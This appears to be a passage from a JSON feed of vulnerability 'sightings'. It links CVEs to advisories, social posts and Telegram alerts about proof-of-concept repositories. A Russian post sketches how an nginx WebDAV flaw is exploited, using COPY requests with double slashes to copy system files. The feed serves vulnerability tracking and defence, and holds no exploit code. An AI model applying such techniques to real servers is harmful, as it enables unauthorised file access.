"https://bsky.app/profile/greynoise.infosec.exchange.ap.brid.gy/post/3mramou5dyyd2", "content": "This week in GreyNoise data, rented crawlers probed for credentials and configuration secrets across widely deployed web software.\n\nA matched pair of crawlers sharing one client fingerprint probed NGINX UI (CVE-2026-27944) and LiteSpeed Cache [\u2026] \n\n[Original post on infosec.exchange]", "creation_timestamp": "2026-07-22T15:22:04.868106Z"}, {"uuid": "d39d3062-cc4e-40a0-8601-0ebd47da200d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27171", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0254", "content": "Oracle heeft 158 kwetsbaarheden verholpen in Oracle Database Server, APEX, Autonomous Health Framework, Essbase, Global Lifecycle Management, GoldenGate, NoSQL Database, Spatial Studio, SQL Developer en TimesTen In-Memory Database.\n\nVan deze kwetsbaarheden zijn 91 kwetsbaarheden afkomstig van third-party producten waarvoor eerder al updates zijn verschenen welke nu door Oracle zijn verwerkt, of betreffen kwetsbaarheden welke niet kunnen leiden tot exploitatie, omdat zij zich bevinden in delen van de producten die niet toegankelijk zijn. De zes ernstigste kwetsbaarheden hebben een CVSS score van 9 en hoger gekregen.\n\nDe kwetsbaarheid in Eclipse Jetty's HTTP/1.1 parser, gebruikt in Oracle REST Data Services versies 24.2.0 tot 26.1.0, betreft incorrecte parsing van chunked transfer encoding extensies met ongesloten gequoteerde strings, waardoor HTTP request smuggling mogelijk is. Dit kan leiden tot cache poisoning, bypass van toegangscontrole, session hijacking en ongeautoriseerde toegang tot endpoints. \n\nPerl versies vanaf 5.9.4 tot 5.43.9 bevatten een kwetsbare Compress::Raw::Zlib module door een verouderde zlib bibliotheek met meerdere beveiligingsproblemen, waaronder CVE-2026-3381 en CVE-2026-27171. Deze kwetsbaarheid is relevant voor Perl distributies die vaak worden ingezet in Red Hat Enterprise Linux en OpenShift Container Platform omgevingen.\n\nApache Kafka versies 4.1.0 en 4.1.1 bevatten een kwetsbaarheid in de JWT token validatie waarbij de standaard validator elke JWT token accepteert zonder correcte validatie, wat ongeautoriseerde toegang kan toestaan. Dit is opgelost door de validator expliciet in te stellen of te upgraden naar versie 4.1.2 of hoger. Oracle Communications Unified Assurance Message Bus componenten versies 6.1.1 tot 7.0.0, die Apache Kafka gebruiken, bevatten een kwetsbaarheid die ongeauthenticeerde netwerkaanvallers in staat stelt ongeautoriseerde toegang te verkrijgen en kritieke data te wijzigen.\n\nOracle Net Services versies 19.3 tot 19.31, 21.3 tot 21.22 en 23.4.0 tot 23.26.2 bevatten een kwetsbaarheid die ongeauthenticeerde netwerktoegang mogelijk maakt om gevoelige informatie te verkrijgen of een denial of service te veroorzaken.\n\nOracle TimesTen In-Memory Database versie 26.1.1.1.0 bevat een kwetsbaarheid in de Kubernetes Operator component die een aanvaller met lage privileges en netwerktoegang via HTTPS in staat stelt volledige controle over de database instance te verkrijgen.\n\nOracle Database Server RDBMS componenten versies 19.3 tot 19.31 en 23.4.0 tot 23.26.2 bevatten een kwetsbaarheid waarbij een aanvaller met lage privileges en Execute DBMS_CLOUD rechten en netwerktoegang volledige controle over de RDBMS kan verkrijgen.\n\nHet voert te ver om de overige 152 kwetsbaarheden in detail te beschrijven in deze advisory en het NCSC verwijst dan ook naar de bijgevoegde referentie.", "creation_timestamp": "2026-07-22T16:00:54.255845Z"}, {"uuid": "3fd118c6-f92b-4da8-b714-143c82242979", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27654", "type": "published-proof-of-concept", "source": "Telegram/q3tIaYx4agF_M3da1rV7jtAQTpWs9uwXUcQ2UZM8hUpw4XQ", "content": "", "creation_timestamp": "2026-07-23T00:00:08.995384Z"}, {"uuid": "d0c4ab3c-d360-4eee-b75f-2f1398585305", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27171", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0254", "content": "Oracle heeft 158 kwetsbaarheden verholpen in Oracle Database Server, APEX, Autonomous Health Framework, Essbase, Global Lifecycle Management, GoldenGate, NoSQL Database, Spatial Studio, SQL Developer en TimesTen In-Memory Database.\n\nVan deze kwetsbaarheden zijn 91 kwetsbaarheden afkomstig van third-party producten waarvoor eerder al updates zijn verschenen welke nu door Oracle zijn verwerkt, of betreffen kwetsbaarheden welke niet kunnen leiden tot exploitatie, omdat zij zich bevinden in delen van de producten die niet toegankelijk zijn. De zes ernstigste kwetsbaarheden hebben een CVSS score van 9 en hoger gekregen.\n\nDe kwetsbaarheid in Eclipse Jetty's HTTP/1.1 parser, gebruikt in Oracle REST Data Services versies 24.2.0 tot 26.1.0, betreft incorrecte parsing van chunked transfer encoding extensies met ongesloten gequoteerde strings, waardoor HTTP request smuggling mogelijk is. Dit kan leiden tot cache poisoning, bypass van toegangscontrole, session hijacking en ongeautoriseerde toegang tot endpoints. \n\nPerl versies vanaf 5.9.4 tot 5.43.9 bevatten een kwetsbare Compress::Raw::Zlib module door een verouderde zlib bibliotheek met meerdere beveiligingsproblemen, waaronder CVE-2026-3381 en CVE-2026-27171. Deze kwetsbaarheid is relevant voor Perl distributies die vaak worden ingezet in Red Hat Enterprise Linux en OpenShift Container Platform omgevingen.\n\nApache Kafka versies 4.1.0 en 4.1.1 bevatten een kwetsbaarheid in de JWT token validatie waarbij de standaard validator elke JWT token accepteert zonder correcte validatie, wat ongeautoriseerde toegang kan toestaan. Dit is opgelost door de validator expliciet in te stellen of te upgraden naar versie 4.1.2 of hoger. Oracle Communications Unified Assurance Message Bus componenten versies 6.1.1 tot 7.0.0, die Apache Kafka gebruiken, bevatten een kwetsbaarheid die ongeauthenticeerde netwerkaanvallers in staat stelt ongeautoriseerde toegang te verkrijgen en kritieke data te wijzigen.\n\nOracle Net Services versies 19.3 tot 19.31, 21.3 tot 21.22 en 23.4.0 tot 23.26.2 bevatten een kwetsbaarheid die ongeauthenticeerde netwerktoegang mogelijk maakt om gevoelige informatie te verkrijgen of een denial of service te veroorzaken.\n\nOracle TimesTen In-Memory Database versie 26.1.1.1.0 bevat een kwetsbaarheid in de Kubernetes Operator component die een aanvaller met lage privileges en netwerktoegang via HTTPS in staat stelt volledige controle over de database instance te verkrijgen.\n\nOracle Database Server RDBMS componenten versies 19.3 tot 19.31 en 23.4.0 tot 23.26.2 bevatten een kwetsbaarheid waarbij een aanvaller met lage privileges en Execute DBMS_CLOUD rechten en netwerktoegang volledige controle over de RDBMS kan verkrijgen.\n\nHet voert te ver om de overige 152 kwetsbaarheden in detail te beschrijven in deze advisory en het NCSC verwijst dan ook naar de bijgevoegde referentie.", "creation_timestamp": "2026-07-23T01:00:40.370119Z"}, {"uuid": "b6f24c77-614e-408a-918c-55cdaaec576b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27654", "type": "seen", "source": "https://t.me/GithubRedTeam/94485", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-27654-PoC\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Debajyoti0-0\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-21 12:39:40\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nProof-of-Concept and technical analysis for CVE-2026-27654, a heap-based buffer overflow vulnerability in the NGINX HTTP WebDAV module, including root cause analysis, reproduction, and mitigation.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-23T04:00:06.658258Z"}, {"uuid": "920c7c58-2fb6-4eda-b36e-017d1a02a541", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27409", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mrcdpw3cr323", "content": "CVE-2026-27409 webba-booking-lite (CVSS Score 5.3) \n\n#WordPress plugin #vulnerability #cybersecurity #wordpressfirewall #hacking #wpsecurity #atomicedge #cybersecurity #malware #vulnerabilityresearch #cve #redteam #proofofconcept", "creation_timestamp": "2026-07-23T07:44:08.709521Z"}, {"uuid": "91e57967-d328-4ac7-a420-e8ca6819e991", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27641", "type": "seen", "source": "https://t.me/GithubRedTeam/94784", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-27641-Flask-Reuploaded\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Max78000\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-23 08:52:21\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPoC and test server\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-23T10:00:02.573040Z"}, {"uuid": "9eb60a86-cf0b-4ee4-87e8-abfde8e920e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27409", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mrcn6b6oj62e", "content": "CVE-2026-27409 webba-booking-lite (CVSS Score 5.3) \n\n#WordPress plugin #vulnerability #cybersecurity #wordpressfirewall #hacking #wpsecurity #atomicedge #cybersecurity #malware #vulnerabilityresearch #cve #redteam #proofofconcept", "creation_timestamp": "2026-07-23T10:33:13.388141Z"}, {"uuid": "369b51c6-e73c-4229-ba77-c862c4b317ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27409", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mrcn6y6aba2n", "content": "CVE-2026-27409 webba-booking-lite (CVSS Score 5.3) \n\n#WordPress plugin #vulnerability #cybersecurity #wordpressfirewall #hacking #wpsecurity #atomicedge #cybersecurity #malware #vulnerabilityresearch #cve #redteam #proofofconcept", "creation_timestamp": "2026-07-23T10:33:37.758117Z"}, {"uuid": "fc8db6db-f4e6-483c-a359-827d4f0a1986", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27409", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mrcna4pgf32n", "content": "CVE-2026-27409 webba-booking-lite (CVSS Score 5.3) \n\n#WordPress plugin #vulnerability #cybersecurity #wordpressfirewall #hacking #wpsecurity #atomicedge #cybersecurity #malware #vulnerabilityresearch #cve #redteam #proofofconcept", "creation_timestamp": "2026-07-23T10:34:15.757780Z"}, {"uuid": "eb48cd89-9ef0-4e8c-82e4-23c79204b952", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27064", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mrcv5qvkbl22", "content": "CVE-2026-27064 - mailster\nAn attacker can upload any file to a WordPress site using the Mailster plugin if it's not updated to version 4.1.18 or later. This could allow an attacker to harm the site or\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#mailster #everpress #CVE #infosec", "creation_timestamp": "2026-07-23T12:56:06.026591Z"}, {"uuid": "f361cdb7-00b0-45ed-ba34-f0310fc8a9ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27857", "type": "seen", "source": "https://bsky.app/profile/euvd-bot.bsky.social/post/3mrcysickuj23", "content": "\ud83d\udea8 EUVD-2026-29473\n\ud83d\udcca 4.3/10\n\ud83c\udfe2 Open-Xchange GmbH\n\n\ud83d\udcdd An attacker can cause uncontrolled memory usage with excessive bracing over IMAP. The fix in CVE-2026-27857 was incomplete, only blocking one wa...\n\n\ud83d\udd17 https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-29473\n\n#cybersecurity #infosec #cve #euvd", "creation_timestamp": "2026-07-23T14:01:23.068605Z"}, {"uuid": "2a352e94-9fae-4730-af67-d34ecf6692b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27409", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mrdfas5oph2e", "content": "CVE-2026-27409 webba-booking-lite (CVSS Score 5.3) \n\n#WordPress plugin #vulnerability #cybersecurity #wordpressfirewall #hacking #wpsecurity #atomicedge #cybersecurity #malware #vulnerabilityresearch #cve #redteam #proofofconcept", "creation_timestamp": "2026-07-23T17:44:10.444693Z"}, {"uuid": "3fff3356-f550-4e1d-bea4-416e74cbf09d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27064", "type": "seen", "source": "https://bsky.app/profile/hugovalters.bsky.social/post/3mrdxj2icod26", "content": "CVE-2026-27064 - Critical arbitrary file upload in Mailster <= 4.1.17. CVSS 9.1. No patch available. Disable or restrict access immediately. #CVE #infosec #Mailster\n\nhttps://www.valtersit.com/cve/CVE-2026-27064/", "creation_timestamp": "2026-07-23T23:10:52.728263Z"}, {"uuid": "b2cee5c8-ddde-490f-b56d-ead0c302804e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27064", "type": "seen", "source": "https://mastodon.social/users/hugovalters/statuses/116971815063871633", "content": "CVE-2026-27064 - Critical arbitrary file upload in Mailster <= 4.1.17. CVSS 9.1. No patch available. Disable or restrict access immediately. #CVE #infosec #Mailster\nhttps://www.valtersit.com/cve/CVE-2026-27064/", "creation_timestamp": "2026-07-23T23:10:53.751873Z"}, {"uuid": "668cd92c-672c-4714-b67a-17b0d27e5a97", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27099", "type": "seen", "source": "https://bsky.app/profile/cyberguider.bsky.social/post/3mrdzqfpblk2n", "content": "Jenkins CVE-2026-27099 Writeup\n\nwww.cyberguider.com/stored-cross...", "creation_timestamp": "2026-07-23T23:50:48.663115Z"}, {"uuid": "6213ed8a-25f3-4a25-b279-3712017e860a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27654", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/94485", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-27654-PoC\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Debajyoti0-0\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-21 12:39:40\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nProof-of-Concept and technical analysis for CVE-2026-27654, a heap-based buffer overflow vulnerability in the NGINX HTTP WebDAV module, including root cause analysis, reproduction, and mitigation.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-24T00:00:10.486148Z"}, {"uuid": "9cb26c7a-9c18-48f0-bedf-ca4dc7e34b00", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27641", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/94784", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-27641-Flask-Reuploaded\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Max78000\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-23 08:52:21\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPoC and test server\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-24T00:00:09.474318Z"}, {"uuid": "37c1a8df-7996-4477-9464-86b4639c465a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27409", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mregrnfp5d2e", "content": "CVE-2026-27409 webba-booking-lite (CVSS Score 5.3) \n\n#WordPress plugin #vulnerability #cybersecurity #wordpressfirewall #hacking #wpsecurity #atomicedge #cybersecurity #malware #vulnerabilityresearch #cve #redteam #proofofconcept", "creation_timestamp": "2026-07-24T03:44:07.492677Z"}, {"uuid": "899afae5-c95c-48c7-b197-d0a51cabd146", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27671", "type": "seen", "source": "https://www.acn.gov.it/portale/w/operational-summary-giugno-2026", "content": "", "creation_timestamp": "2026-07-24T12:45:56.270782Z"}, {"uuid": "fd267d15-044a-4f66-9141-80d7a72c987f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27409", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mrfick7ai52n", "content": "CVE-2026-27409 webba-booking-lite (CVSS Score 5.3) \n\n#WordPress plugin #vulnerability #cybersecurity #wordpressfirewall #hacking #wpsecurity #atomicedge #cybersecurity #malware #vulnerabilityresearch #cve #redteam #proofofconcept", "creation_timestamp": "2026-07-24T13:44:07.662622Z"}, {"uuid": "12c9cf9e-9fa7-48a5-8b65-8e1adaa6af63", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27409", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mrgjtg2v652w", "content": "CVE-2026-27409 webba-booking-lite (CVSS Score 5.3) \n\n#WordPress plugin #vulnerability #cybersecurity #wordpressfirewall #hacking #wpsecurity #atomicedge #cybersecurity #malware #vulnerabilityresearch #cve #redteam #proofofconcept", "creation_timestamp": "2026-07-24T23:44:07.230122Z"}, {"uuid": "4afcce3a-4eae-4100-b83c-a98d401e8cee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27409", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mrhlecs75h2u", "content": "CVE-2026-27409 webba-booking-lite (CVSS Score 5.3) \n\n#WordPress plugin #vulnerability #cybersecurity #wordpressfirewall #hacking #wpsecurity #atomicedge #cybersecurity #malware #vulnerabilityresearch #cve #redteam #proofofconcept", "creation_timestamp": "2026-07-25T09:44:07.600146Z"}, {"uuid": "485a8026-0483-4fe0-ab97-eebd635a3ec2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27654", "type": "seen", "source": "https://t.me/ZerodayAlert/655", "content": "\u041d\u0435\u0439\u0440\u043e\u0441\u0435\u0442\u044c \u043d\u0430\u0448\u043b\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 nginx \u0440\u0430\u043d\u044c\u0448\u0435 \u043b\u044e\u0434\u0435\u0439\n\nCVE-2026-27654 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 nginx \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u0438 \u0432\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u043e\u043c \u043c\u043e\u0434\u0443\u043b\u0435 WebDAV \u0438 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u0441 \u0434\u0438\u0440\u0435\u043a\u0442\u0438\u0432\u043e\u0439 alias. \u0418\u0437-\u0437\u0430 \u043e\u0448\u0438\u0431\u043a\u0438 \u0432 \u0440\u0430\u0441\u0447\u0451\u0442\u0435 \u0434\u043b\u0438\u043d\u044b \u043f\u0443\u0442\u0438 \u0441\u0435\u0440\u0432\u0435\u0440 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u044b\u0439\u0442\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u044b \u0438\u0437\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430 \u0438 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c\u0441\u044f \u043a \u0444\u0430\u0439\u043b\u0430\u043c, \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u043c \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0443.\n\nClaude \u043f\u0435\u0440\u0432\u043e\u0439 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043b\u0430 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0431\u0443\u0444\u0435\u0440\u0430 \u0438 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u043b\u0430 \u0441\u0431\u043e\u0439 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0441\u0447\u0438\u0442\u0430\u043b\u0430\u0441\u044c \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d\u043d\u043e\u0439. \u041e\u0434\u043d\u0430\u043a\u043e \u043f\u0440\u0435\u0432\u0440\u0430\u0442\u0438\u0442\u044c \u043f\u0430\u0434\u0435\u043d\u0438\u0435 \u0432 \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u043d\u0443\u044e \u0430\u0442\u0430\u043a\u0443 \u0441\u043c\u043e\u0433\u043b\u0438 \u0442\u043e\u043b\u044c\u043a\u043e \u043b\u044e\u0434\u0438: \u043e\u043d\u0438 \u043d\u0430\u0448\u043b\u0438 \u0441\u043f\u043e\u0441\u043e\u0431 \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u0447\u0435\u0440\u0435\u0437 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044e COPY, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0434\u0432\u043e\u0439\u043d\u044b\u0435 \u0441\u043b\u044d\u0448\u0438 \u0432 \u043f\u0443\u0442\u0438.\n\n\u041f\u0430\u0442\u0447 \u0432\u044b\u0448\u0435\u043b \u0432 \u0432\u0435\u0440\u0441\u0438\u0438 1.29.7 \u0432 \u043c\u0430\u0440\u0442\u0435 2026 \u0433\u043e\u0434\u0430. \u0412 \u0442\u043e\u0442 \u0436\u0435 \u0434\u0435\u043d\u044c \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0439 \u0441\u0430\u043c\u043e\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u0441\u043e\u0431\u0440\u0430\u043b\u0430 \u0440\u0430\u0431\u043e\u0447\u0438\u0439 \u043f\u0440\u0438\u043c\u0435\u0440 \u0430\u0442\u0430\u043a\u0438 \u043f\u043e \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044e \u2013 \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u043d\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0443 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u043e\u0432 \u043d\u0435 \u043e\u0441\u0442\u0430\u043b\u043e\u0441\u044c.\n\n#nginx #\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c #\u0418\u0418 #webdav \n\n@ZerodayAlert", "creation_timestamp": "2026-07-25T15:00:08.178240Z"}, {"uuid": "8093e2f9-4951-464e-a110-702ebd100ce7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27409", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mrimv73hu22n", "content": "CVE-2026-27409 webba-booking-lite (CVSS Score 5.3) \n\n#WordPress plugin #vulnerability #cybersecurity #wordpressfirewall #hacking #wpsecurity #atomicedge #cybersecurity #malware #vulnerabilityresearch #cve #redteam #proofofconcept", "creation_timestamp": "2026-07-25T19:44:07.527003Z"}, {"uuid": "3041c057-d842-4518-bdf6-0bc1e1374131", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27654", "type": "published-proof-of-concept", "source": "https://t.me/ZerodayAlert/655", "content": "\u041d\u0435\u0439\u0440\u043e\u0441\u0435\u0442\u044c \u043d\u0430\u0448\u043b\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 nginx \u0440\u0430\u043d\u044c\u0448\u0435 \u043b\u044e\u0434\u0435\u0439\n\nCVE-2026-27654 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 nginx \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u0438 \u0432\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u043e\u043c \u043c\u043e\u0434\u0443\u043b\u0435 WebDAV \u0438 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u0441 \u0434\u0438\u0440\u0435\u043a\u0442\u0438\u0432\u043e\u0439 alias. \u0418\u0437-\u0437\u0430 \u043e\u0448\u0438\u0431\u043a\u0438 \u0432 \u0440\u0430\u0441\u0447\u0451\u0442\u0435 \u0434\u043b\u0438\u043d\u044b \u043f\u0443\u0442\u0438 \u0441\u0435\u0440\u0432\u0435\u0440 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u044b\u0439\u0442\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u044b \u0438\u0437\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430 \u0438 